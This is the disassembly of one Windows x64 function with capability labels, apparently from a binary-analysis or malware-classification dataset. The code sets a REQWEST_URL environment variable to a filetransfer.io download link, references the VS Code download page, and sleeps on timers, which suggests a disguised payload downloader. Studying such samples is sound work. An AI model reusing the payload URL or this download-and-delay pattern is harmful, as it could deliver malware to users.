Function at 0x140118780
Capabilities:
Check os version
Get number of processors
Set environment variable

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x6a8
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x610], xmm6
mov qword [rbp + 0x608], 0xfffffffffffffffe
mov r12, r8
mov rsi, rdx
mov rdi, rcx
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x1401187de
cmp eax, 1
je 0x14011880b
jmp 0x14011b5a6
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140118710]
call fcn.1400dc390
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x126], 2
jne 0x14011b9c5
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov r15, qword [rcx + rax*8]
mov byte [r15 + 0x126], 0
lea rcx, [rsi + 0x170]
lea rax, [rsi + 0x1d0]
test dil, 1
cmovne rcx, rax
call fcn.1400ff1d0
mov ebx, eax
mov r14d, edx
cmp dword [r15 + 0x118], 0
je 0x140118891
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov edx, dword [rax + 0x120]
mov ecx, dword [rax + 0x11c]
jmp 0x1401188a8
call fcn.1400f41d0
mov rcx, rax
shr rcx, 0x20
cmp eax, 2
mov edx, 1
cmovae edx, eax
mov eax, dword [0x14019f30c]
mov r8, qword gs:[0x58]
mov rax, qword [r8 + rax*8]
mov dword [rax + 0x118], 1
mov dword [rax + 0x11c], ebx
mov dword [rax + 0x120], r14d
cmp qword [rax + 0xd8], 0
jne 0x14011ba06
mov eax, dword [0x14019f30c]
mov r8, qword gs:[0x58]
mov rax, qword [r8 + rax*8]
mov qword [rax + 0xd8], 0xffffffffffffffff
mov eax, 1
mov r8d, 1
lock xadd qword [rsi], r8
test dil, 1
je 0x14011891e
test r8, r8
jns 0x140118929
jmp 0x14011b6d4
test r8, r8
js 0x14011b6d4
xor eax, eax
mov r8d, dword [0x14019f30c]
mov r9, qword gs:[0x58]
mov r10, qword [r9 + r8*8]
mov r8, qword [r10 + 0xe0]
mov r9, qword [r10 + 0xe8]
mov qword [r10 + 0xe0], rax
mov qword [r10 + 0xe8], rsi
inc qword [r10 + 0xd8]
mov rax, qword [r10 + 0xf0]
cmp rax, 0xffffffffffffffff
je 0x14011ba12
inc rax
mov r10d, dword [0x14019f30c]
mov r11, qword gs:[0x58]
mov r10, qword [r11 + r10*8]
mov qword [r10 + 0xf0], rax
mov qword [rbp + 0x4c0], r8
mov qword [rbp + 0x4c8], r9
mov qword [rbp + 0x4d0], rax
mov dword [rbp + 0x4d8], ecx
mov dword [rbp + 0x4dc], edx
mov rax, qword [r12]
cmp dword [rax], 1
je 0x14011ba53
mov qword [rbp + 0x60], rax
mov rdi, qword [r12 + 8]
mov qword [rbp + 0x68], r12
mov rsi, qword [r12 + 0x10]
lea r14, [rbp + 0x90]
lea rax, [rsi + 8]
mov qword [rbp + 0x570], rax
lea rax, [rsi + 0x28]
mov qword [rbp + 0x4f8], rax
lea rax, [rsi + 0x118]
mov qword [rbp + 0x538], rax
xorps xmm6, xmm6
lea rbx, [rbp + 0x328]
lea r15, [rbp + 0x1e0]
lea r13, [rbp + 0x80]
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rbp + 0x58], rdi
nop dword [rax]
xor eax, eax
xchg qword [rdi + 0x20], rax
test rax, rax
jne 0x140119f52
mov qword [rbp + 0x198], 2
mov rax, qword [rdi]
shr rax, 2
lea rdx, [rbp + 0x5d8]
movups xmmword [rdx - 0x18], xmm6
mov qword [rdx - 8], 0
mov qword [rbp + 0x5b0], rdi
mov qword [rbp + 0x5b8], rax
movups xmmword [rdx], xmm6
mov byte [rdx + 0x10], 0
mov eax, dword [rbp + 0x528]
mov ecx, dword [rbp + 0x52b]
mov dword [rdx + 0x14], ecx
mov dword [rdx + 0x11], eax
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xc8]
cmp rax, 1
jne 0x140119f3f
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xd0]
lock inc qword [rax]
jle 0x14011b6d4
add rax, 0x10
lea rcx, fcn.1400fb020
mov qword [rbp + 0x4e0], rcx
mov qword [rbp + 0x4e8], rax
lea rax, [rbp + 0x4e0]
mov qword [rbp + 0x300], rax
mov qword [rbp + 0x308], rax
mov qword [rbp + 0x310], 0
jmp 0x140118b23
cmp rax, 2
jne 0x14011b858
xor eax, eax
xchg qword [r15 + 0x10], rax
mov al, 1
lock cmpxchg byte [rdi], cl
lea rbx, [rbp + 0x328]
jne 0x140118f27
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x140118c60
cmp eax, 1
lea r15, [rbp + 0x1e0]
je 0x140118c25
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x58], 0
jne 0x14011bbba
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx + rax*8]
mov qword [rcx + 0x58], 0xffffffffffffffff
mov rax, qword [0x14012e690]
mov rdi, qword [rcx + 0x70]
mov rax, 0xffffffffffffffff
cmp rdi, qword [rcx + 0x60]
jne 0x140118bd2
call fcn.1400dca30
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0x58]
mov ecx, dword [0x14019f30c]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov rdx, qword [rcx + 0x68]
mov r8, rdi
shl r8, 4
lea r9, [rcx + 0xd8]
mov qword [rdx + r8], r9
lea r9, [0x140118710]
mov qword [rdx + r8 + 8], r9
inc rdi
mov qword [rcx + 0x70], rdi
inc rax
mov qword [rcx + 0x58], rax
mov byte [rcx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx ecx, byte [rax + 0x124]
mov dword [rbp + 0x598], ecx
movzx ecx, byte [rax + 0x125]
mov byte [rbp + 0x604], cl
mov word [rax + 0x124], 0x8001
jmp 0x140118c6d
mov dword [rbp + 0x598], eax
lea r15, [rbp + 0x1e0]
mov rdx, qword [rbp + 0x300]
lea rcx, [rbp + 0x5b0]
call fcn.1400f3570
test al, al
je 0x140118d00
movzx eax, byte [rsi + 0x148]
test eax, eax
je 0x140118d20
cmp eax, 3
mov rdi, qword [rbp + 0x570]
jne 0x14011b811
movzx eax, byte [rsi + 0x140]
test eax, eax
je 0x140118f47
cmp eax, 3
jne 0x14011b8c4
nop dword [rax + rax]
cmp dword [rdi], 2
jne 0x1401193bf
mov rax, qword [rsi + 0x10]
mov qword [rsi + 0x10], 0
test rax, rax
je 0x14011b73f
mov qword [rbp + 0x1e0], 3
mov qword [rbp + 0x1e8], rax
jmp 0x140119540
xor edi, edi
mov edx, dword [rbp + 0x598]
cmp dl, 2
jne 0x140119400
jmp 0x140119484
lea rdi, [0x14018d8e8]
mov qword [rbp + 0x328], rdi
mov qword [rbp + 0x330], 1
mov qword [rbp + 0x338], 8
movups xmmword [rbp + 0x340], xmm6
mov rcx, rbx
call fcn.1400e69a0
mov qword [rbp + 0x328], 0
mov rcx, rbx
call qword [sym.imp.kernel32.dll_GetSystemTimePreciseAsFileTime]
mov r8, qword [rbp + 0x328]
mov rax, r8
movabs rdx, 0x19db1ded53e8000
sub rax, rdx
neg rax
movabs rcx, 0xfe624e212ac18000
add rcx, r8
cmp r8, rdx
cmovl rcx, rax
mov rax, rcx
movabs rdx, 0xd6bf94d5e57a42bd
mul rdx
shr rdx, 0x17
imul eax, edx, 0x989680
sub ecx, eax
movabs rax, 0x19db1ded53e7fff
cmp r8, rax
jle 0x14011b81d
imul rax, rdx, 0x3e8
mov ecx, ecx
mov edx, 0xd1b71759
imul rcx, rdx
shr rcx, 0x2d
add rcx, rax
mov qword [rbp + 0x1e0], rcx
mov qword [rbp + 0x1e8], 0
mov qword [rbp + 0x80], r15
lea rax, [0x14000c660]
mov qword [rbp + 0x88], rax
lea rax, str.Time:
mov qword [rbp + 0x328], rax
mov qword [rbp + 0x330], 2
mov qword [rbp + 0x348], 0
mov qword [rbp + 0x338], r13
mov qword [rbp + 0x340], 1
mov rcx, rbx
call fcn.1400e69a0
mov qword [rbp + 0x328], rdi
mov qword [rbp + 0x330], 1
mov qword [rbp + 0x338], 8
movups xmmword [rbp + 0x340], xmm6
mov rcx, rbx
call fcn.1400e69a0
mov qword [rbp + 0x328], rdi
mov qword [rbp + 0x330], 1
mov qword [rbp + 0x338], 8
movups xmmword [rbp + 0x340], xmm6
mov rcx, rbx
call fcn.1400e69a0
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call qword [sym.imp.kernel32.dll_CreateWaitableTimerExW]
test rax, rax
je 0x140118f1a
mov rdi, rax
mov qword [rbp + 0x328], 0xfffffffffd050f80
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, rbx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_SetWaitableTimer]
test eax, eax
je 0x140118f11
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp ebx, 0xffffffff
lea rbx, [rbp + 0x328]
jne 0x140118f40
jmp 0x140118f1a
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, 0x1388
call qword [sym.imp.kernel32.dll_Sleep]
jmp 0x140118f40
mov rcx, rdi
call fcn.140125a20
jmp 0x140118b23
mov byte [rsi + 0x140], 0
mov rcx, rbx
call fcn.1400700c0
mov rcx, rbx
call fcn.140070ae0
mov r12, rdx
test al, 1
jne 0x14011b6d6
mov qword [rsi], r12
mov qword [rbp + 0x520], 0
mov qword [rbp + 0x500], 0
mov qword [rbp + 0x510], 0
mov r9d, 0x26
mov rcx, r13
lea rdx, [rbp + 0x500]
lea r8, str.https:__code.visualstudio.com_download
call fcn.1400ffeb0
mov rdi, qword [rbp + 0x80]
mov rax, rdi
neg rax
jno 0x140119040
movzx ebx, byte [rbp + 0x88]
movzx eax, byte [0x14019f308]
mov edx, 1
xor ecx, ecx
call fcn.1400e7f40
test rax, rax
je 0x14011b757
mov rdi, rax
mov byte [rax], bl
movzx eax, byte [0x14019f308]
mov edx, 0x70
xor ecx, ecx
call fcn.1400e7f40
test rax, rax
je 0x14011b708
movabs rcx, 0x8000000000000000
mov qword [rax], rcx
mov qword [rax + 0x58], rdi
lea rcx, [0x140159008]
mov qword [rax + 0x60], rcx
mov word [rax + 0x68], 0
mov ecx, 2
lock inc qword [r12]
lea rbx, [rbp + 0x328]
jg 0x1401191d0
jmp 0x14011b6d4
mov rbx, qword [rbp + 0x88]
movups xmm0, xmmword [r14]
movups xmm1, xmmword [r14 + 0x10]
movups xmm2, xmmword [r14 + 0x20]
movaps xmmword [rbp + 0x540], xmm0
movaps xmmword [rbp + 0x550], xmm1
movaps xmmword [rbp + 0x560], xmm2
movzx eax, byte [rbp + 0xc0]
mov rcx, qword [r14 + 0x40]
mov qword [rbp + 0x58f], rcx
movups xmm0, xmmword [r14 + 0x31]
movaps xmmword [rbp + 0x580], xmm0
test al, al
je 0x140119140
movaps xmm0, xmmword [rbp + 0x540]
movaps xmm1, xmmword [rbp + 0x550]
movaps xmm2, xmmword [rbp + 0x560]
movaps xmmword [rbp + 0xa0], xmm2
movaps xmmword [rbp + 0x90], xmm1
movaps xmmword [rbp + 0x80], xmm0
movaps xmm3, xmmword [rbp + 0x580]
movaps xmmword [rbp + 0x500], xmm3
mov rcx, qword [rbp + 0x58f]
mov qword [rbp + 0x50f], rcx
movaps xmmword [rbp + 0x540], xmm0
movaps xmmword [rbp + 0x550], xmm1
movaps xmmword [rbp + 0x560], xmm2
movaps xmm0, xmmword [rbp + 0x500]
movaps xmmword [rbp + 0x580], xmm0
mov rcx, qword [rbp + 0x50f]
mov qword [rbp + 0x58f], rcx
movaps xmmword [rbp + 0x70], xmm6
mov qword [rbp + 0x5a0], rdi
mov qword [rbp + 0x530], rbx
mov byte [rbp + 0x4f0], al
xor ecx, ecx
lock inc qword [r12]
lea rbx, [rbp + 0x328]
jg 0x1401191d0
jmp 0x14011b6d4
movzx eax, byte [0x14019f308]
mov edx, 0x70
xor ecx, ecx
call fcn.1400e7f40
test rax, rax
je 0x14011b708
mov qword [rax + 0x58], 1
lea rcx, [0x140158ae0]
mov qword [rax + 0x60], rcx
mov word [rax + 0x68], 0
mov qword [rax], rdi
mov qword [rax + 8], rbx
movaps xmm0, xmmword [rbp + 0x540]
movaps xmm1, xmmword [rbp + 0x550]
movaps xmm2, xmmword [rbp + 0x560]
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm1
movups xmmword [rax + 0x30], xmm2
mov byte [rax + 0x40], 0
movaps xmm0, xmmword [rbp + 0x580]
movups xmmword [rax + 0x41], xmm0
mov rcx, qword [rbp + 0x58f]
mov qword [rax + 0x50], rcx
mov ecx, 2
lock inc qword [r12]
lea rbx, [rbp + 0x328]
jle 0x14011b6d4
nop
mov qword [rbp + 0x80], rcx
mov qword [rbp + 0x88], rax
mov rax, qword [rbp + 0x510]
mov qword [r14 + 0x10], rax
movups xmm0, xmmword [rbp + 0x500]
movups xmmword [r14], xmm0
mov qword [rbp + 0xa8], 0
movups xmm0, xmmword [rbp - 0x50]
movups xmmword [r14 + 0x20], xmm0
mov qword [rbp + 0xc0], 0
mov qword [rbp + 0xc8], 8
movaps xmm0, xmmword [rbp + 0x70]
movups xmmword [r14 + 0x40], xmm0
mov qword [rbp + 0xe0], 8
mov qword [rbp + 0xe8], 0
mov qword [rbp + 0xf0], 2
mov qword [rbp + 0xf8], 0
mov word [rbp + 0x100], 0
movzx eax, word [rbp + 0x326]
mov word [r14 + 0x76], ax
mov eax, dword [rbp + 0x322]
mov dword [r14 + 0x72], eax
mov rax, qword [rbp + 0x5a0]
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x530]
mov qword [rbp + 0x110], rax
movaps xmm0, xmmword [rbp + 0x540]
movaps xmm1, xmmword [rbp + 0x550]
movaps xmm2, xmmword [rbp + 0x560]
movups xmmword [r14 + 0xa8], xmm2
movups xmmword [r14 + 0x98], xmm1
movups xmmword [r14 + 0x88], xmm0
movzx eax, byte [rbp + 0x4f0]
mov byte [rbp + 0x148], al
mov rax, qword [rbp + 0x58f]
mov qword [r14 + 0xc8], rax
movaps xmm0, xmmword [rbp + 0x580]
movups xmmword [r14 + 0xb9], xmm0
mov dword [rbp + 0x168], 0x3b9aca00
mov byte [rbp + 0x170], 1
mov dword [r14 + 0xe4], 0
mov dword [r14 + 0xe1], 0
movups xmmword [r14 + 0xe8], xmm6
mov byte [rbp + 0x188], 2
mov rcx, r15
mov rdx, r12
mov r8, r13
call fcn.140079350
cmp dword [rbp + 0x1e0], 2
jne 0x140119370
mov qword [rbp + 0x328], 2
mov rax, qword [rbp + 0x1e8]
mov rdi, qword [rbp + 0x2f0]
mov qword [rbp + 0x330], rax
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
lock dec qword [rdi]
je 0x140119392
jmp 0x14011939e
mov rdi, qword [rbp + 0x2f0]
mov rcx, rbx
mov rdx, rdi
mov r8, r15
call fcn.140073130
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
lock dec qword [rdi]
jne 0x14011939e
lea rcx, [rbp + 0x2f0]
call fcn.140095190
mov r8d, 0x138
mov rdi, qword [rbp + 0x570]
mov rcx, rdi
mov rdx, rbx
call fcn.140120b90
cmp dword [rdi], 2
je 0x140118cc9
mov rcx, r15
mov rdx, rdi
lea r8, [rbp + 0x300]
call fcn.1400755d0
cmp qword [rbp + 0x1e0], 4
jne 0x140119540
mov byte [rsi + 0x140], 3
mov al, 3
mov dil, 2
mov byte [rsi + 0x148], al
mov edx, dword [rbp + 0x598]
cmp dl, 2
je 0x140119484
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x140119484
cmp eax, 1
je 0x14011945e
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x1400ef550]
call fcn.1400dc390
mov byte [rbx + 0x128], 1
lea rbx, [rbp + 0x328]
mov edx, dword [rbp + 0x598]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x124], dl
movzx ecx, byte [rbp + 0x604]
mov byte [rax + 0x125], cl
cmp dil, 2
jne 0x140119ee0
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xc8]
cmp rax, 1
jne 0x1401198e1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r15, qword [rax + 0xd0]
mov eax, 2
xor ecx, ecx
lock cmpxchg qword [r15 + 0x10], rcx
je 0x140118b23
lea rdi, [r15 + 0x20]
xor eax, eax
mov dl, 1
lock cmpxchg byte [r15 + 0x20], dl
jne 0x1401198f4
xor eax, eax
mov edx, 1
lock cmpxchg qword [r15 + 0x10], rdx
jne 0x140118b00
lea rbx, [r15 + 0x18]
nop word [rax + rax]
mov rcx, rbx
mov rdx, rdi
mov r9d, 0x3b9aca00
call fcn.140042ae0
xor ecx, ecx
mov eax, 2
lock cmpxchg qword [r15 + 0x10], rcx
jne 0x140119510
jmp 0x140118b10
mov r8d, 0x98
lea rcx, [rbp - 0x40]
mov rdx, r15
call fcn.140120b90
cmp dword [rdi], 2
jne 0x1401195d0
mov r12, qword [rsi + 0x10]
test r12, r12
je 0x14011998b
mov rdi, qword [r12 + 0x58]
test rdi, rdi
je 0x1401195a4
mov rbx, qword [r12 + 0x60]
mov rax, qword [rbx]
test rax, rax
je 0x140119580
mov rcx, rdi
call rax
cmp qword [rbx + 8], 0
je 0x1401195a4
cmp qword [rbx + 0x10], 0x11
jb 0x140119592
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [r12]
neg rax
jo 0x1401195c3
jae 0x1401195c3
mov r8, qword [r12 + 8]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rbx, [rbp + 0x328]
jmp 0x140119979
cmp byte [rsi + 0x100], 0xa
jb 0x1401195f6
cmp qword [rsi + 0x110], 0
je 0x1401195f6
mov r8, qword [rsi + 0x108]
mov rcx, qword [0x14019f258]
xor edx, edx
call r12
cmp qword [rsi + 0x90], 0
je 0x140119613
mov r8, qword [rsi + 0x98]
mov rcx, qword [0x14019f258]
xor edx, edx
call r12
cmp qword [rsi + 0x80], 0
je 0x14011962d
mov r8, qword [rsi + 0x78]
mov rcx, qword [0x14019f258]
xor edx, edx
call r12
mov rbx, qword [rsi + 0x58]
test rbx, rbx
je 0x140119680
mov rdi, qword [rsi + 0x50]
add rdi, 0x30
jmp 0x14011965b
mov rax, qword [rdi - 0x18]
mov rdx, qword [rdi - 0x10]
mov r8, qword [rdi - 8]
mov rcx, rdi
call qword [rax + 0x10]
add rdi, 0x68
dec rbx
je 0x140119680
mov rax, qword [rdi + 0x10]
test rax, rax
je 0x140119640
lea rcx, [rdi + 0x28]
mov rdx, qword [rdi + 0x18]
mov r8, qword [rdi + 0x20]
call qword [rax + 0x10]
jmp 0x140119640
cmp qword [rsi + 0x48], 0
je 0x140119697
mov r8, qword [rsi + 0x50]
mov rcx, qword [0x14019f258]
xor edx, edx
call r12
mov rbx, qword [rsi + 0x70]
test rbx, rbx
je 0x1401196cb
mov rdi, qword [rsi + 0x68]
add rdi, 0x38
nop dword [rax + rax]
mov rax, qword [rdi - 0x18]
mov rdx, qword [rdi - 0x10]
mov r8, qword [rdi - 8]
mov rcx, rdi
call qword [rax + 0x10]
add rdi, 0x48
dec rbx
jne 0x1401196b0
cmp qword [rsi + 0x60], 0
je 0x1401196e2
mov r8, qword [rsi + 0x68]
mov rcx, qword [0x14019f258]
xor edx, edx
call r12
mov rax, qword [rbp + 0x570]
cmp qword [rax], 0
je 0x14011970a
mov rax, qword [rsi + 0x10]
test rax, rax
je 0x14011970a
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x20]
mov rcx, qword [rbp + 0x4f8]
call qword [rax + 0x10]
mov rdi, qword [rsi + 0xf8]
test rdi, rdi
je 0x140119760
mov rbx, qword [rsi + 0xf0]
add rbx, 8
jmp 0x140119739
add rbx, 0x58
dec rdi
je 0x140119760
cmp qword [rbx - 8], 0
je 0x140119730
mov r8, qword [rbx]
mov rcx, qword [0x14019f258]
xor edx, edx
call r12
jmp 0x140119730
cmp qword [rsi + 0xe8], 0
je 0x14011977d
mov r8, qword [rsi + 0xf0]
mov rcx, qword [0x14019f258]
xor edx, edx
call r12
mov rax, qword [rbp + 0x538]
mov rax, qword [rax]
lock dec qword [rax]
jne 0x140119799
mov rcx, qword [rbp + 0x538]
call fcn.14010d990
mov rdi, qword [rsi + 0x120]
mov rbx, qword [rsi + 0x128]
mov rax, qword [rbx]
test rax, rax
je 0x1401197b4
mov rcx, rdi
call rax
cmp qword [rbx + 8], 0
je 0x1401197d5
cmp qword [rbx + 0x10], 0x11
jb 0x1401197c6
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call r12
mov r12, qword [rsi + 0x138]
test r12, r12
lea rbx, [rbp + 0x328]
je 0x14011998b
mov rdi, qword [r12 + 8]
cmp byte [r12], 0
mov eax, 0xb8
mov ecx, 0x118
cmovne rax, rcx
cmp dword [rdi + rax + 0xa8], 0x3b9aca00
je 0x14011b7f9
lea r13, [r12 + 8]
add rdi, rax
lea rbx, [r12 + 0x20]
xor eax, eax
mov cl, 1
lock cmpxchg byte [rdi + 0x58], cl
jne 0x140119916
mov rax, qword [r12 + 0x40]
cmp rax, 0xffffffffffffffff
je 0x140119848
lea rcx, [rdi + 0x60]
mov rdx, rbx
call fcn.1400f6980
mov rax, qword [r12 + 0x40]
cmp rax, 0xffffffffffffffff
lea rbx, [rbp + 0x328]
je 0x1401198b0
mov byte [r12 + 0x60], 0
mov qword [r12 + 0x40], 0xffffffffffffffff
mov rax, qword [r12 + 0x58]
nop
mov rcx, rax
or rcx, 2
lock cmpxchg qword [r12 + 0x58], rcx
jne 0x140119870
test rax, rax
jne 0x1401198b0
mov rax, qword [r12 + 0x48]
mov rcx, qword [r12 + 0x50]
mov qword [r12 + 0x48], 0
lock and qword [r12 + 0x58], 0xfffffffffffffffd
test rax, rax
je 0x1401198b0
call qword [rax + 0x18]
nop word [rax + rax]
mov al, 1
xor ecx, ecx
lock cmpxchg byte [rdi + 0x58], cl
jne 0x140119933
test byte [r12], 1
je 0x140119946
mov rax, qword [r13]
lock dec qword [rax]
jne 0x140119960
mov rcx, r13
call fcn.14010cb70
jmp 0x140119960
test rax, rax
jne 0x14011b717
call fcn.14012b860
jmp 0x1401194b2
mov rcx, rdi
call fcn.1401255a0
xor ecx, ecx
xor eax, eax
mov edx, 1
lock cmpxchg qword [r15 + 0x10], rdx
je 0x140119506
jmp 0x140118b00
lea rcx, [rdi + 0x58]
call fcn.1401255a0
mov rax, qword [r12 + 0x40]
cmp rax, 0xffffffffffffffff
jne 0x14011983c
jmp 0x140119848
add rdi, 0x58
mov rcx, rdi
call fcn.140125a20
test byte [r12], 1
jne 0x1401198c6
mov rax, qword [r13]
lock dec qword [rax]
jne 0x140119960
mov rcx, r13
call fcn.14002d650
nop dword [rax + rax]
mov rax, qword [r12 + 0x48]
test rax, rax
je 0x140119972
mov rcx, qword [r12 + 0x50]
call qword [rax + 0x18]
lea r13, [rbp + 0x80]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
cmp dword [rbp - 0x40], 3
jne 0x140119a50
lea rax, [0x14018d8e8]
mov qword [rbp + 0x1e0], rax
mov qword [rbp + 0x1e8], 1
mov qword [rbp + 0x1f0], 8
movups xmmword [rbp + 0x1f8], xmm6
mov rcx, r15
call fcn.1400e69a0
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call qword [sym.imp.kernel32.dll_CreateWaitableTimerExW]
test rax, rax
je 0x140119e62
mov rdi, rax
mov qword [rbp + 0x1e0], 0xfffffffffe363c80
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, r15
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_SetWaitableTimer]
test eax, eax
je 0x140119e59
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp ebx, 0xffffffff
jne 0x140119e6d
jmp 0x140119e62
lea rax, [0x14018d8e8]
mov qword [rbp + 0x1e0], rax
mov qword [rbp + 0x1e8], 1
mov qword [rbp + 0x1f0], 8
movups xmmword [rbp + 0x1f8], xmm6
mov rcx, r15
call fcn.1400e69a0
lea rcx, [rbp - 0x40]
call fcn.14010f250
mov rax, qword [rsi]
lock dec qword [rax]
lea rdi, [0x14018d983]
jne 0x140119aa4
mov rcx, rsi
call fcn.14010d990
mov byte [rsi + 0x140], 1
lea r15, str.REQWEST_URLhttps:__filetransfer.io_data_package_qhvbJk0W_download
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x38], 0xb
mov qword [rbp + 0x80], rdi
mov qword [rbp + 0x88], 0x36
mov r8d, 0xb
mov rcx, rbx
mov rdx, r15
call fcn.1400e1510
mov rdx, qword [rbp + 0x328]
mov rcx, qword [rbp + 0x330]
mov rax, rdx
neg rax
jno 0x140119b00
mov rdi, rcx
jmp 0x140119b98
mov qword [rbp + 0x5a8], rdx
mov qword [rbp + 0x578], rcx
mov r8d, 0x36
mov rcx, rbx
mov rdx, rdi
call fcn.1400e1510
mov rbx, qword [rbp + 0x328]
mov r12, qword [rbp + 0x330]
mov rax, rbx
neg rax
jno 0x140119b3a
mov rdi, r12
jmp 0x140119b6e
mov rcx, qword [rbp + 0x578]
mov rdx, r12
call qword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
mov edi, 0
test eax, eax
je 0x140119e7e
test rbx, rbx
je 0x140119b6e
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x5a8], 0
mov rax, qword [sym.imp.kernel32.dll_HeapFree]
lea rbx, [rbp + 0x328]
je 0x140119b98
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, qword [rbp + 0x578]
call rax
test rdi, rdi
jne 0x14011b766
mov r8d, 0xb
mov rcx, rbx
mov rdx, r15
call fcn.1400e0ed0
mov r15, qword [rbp + 0x328]
mov rax, r15
neg rax
jo 0x140119d22
mov r12, qword [rbp + 0x330]
mov r8, qword [rbp + 0x338]
test byte [rbp + 0x340], 1
jne 0x140119c70
test r8, r8
je 0x140119c70
lea rax, [r12 + r8]
mov rdx, r12
jmp 0x140119c08
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
nop dword [rax]
mov rdx, rcx
cmp rcx, rax
je 0x140119c70
lea rcx, [rdx + 1]
movzx r9d, byte [rdx]
test r9b, r9b
jns 0x140119c00
cmp r9b, 0xe0
jb 0x140119bf2
cmp r9b, 0xed
jne 0x140119c42
cmp rcx, rax
je 0x140119c70
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x140119c70
cmp byte [rdx + 1], 0x9f
ja 0x140119d0b
add rdx, 3
mov rcx, rdx
jmp 0x140119c00
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r9b, 0xf0
jb 0x140119c00
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x140119c00
mov rcx, r13
mov rdx, r12
call fcn.140003940
xor eax, eax
cmp rax, qword [rbp + 0x80]
jno 0x140119d2e
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call qword [sym.imp.kernel32.dll_CreateWaitableTimerExW]
test rax, rax
je 0x140119eba
mov rdi, rax
mov qword [rbp + 0x328], 0xfffffffffd050f80
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, rbx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_SetWaitableTimer]
test eax, eax
je 0x140119eb1
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp ebx, 0xffffffff
lea rbx, [rbp + 0x328]
je 0x140119eba
test r15, r15
je 0x140119d22
mov rcx, qword [0x14019f258]
xor edx, edx
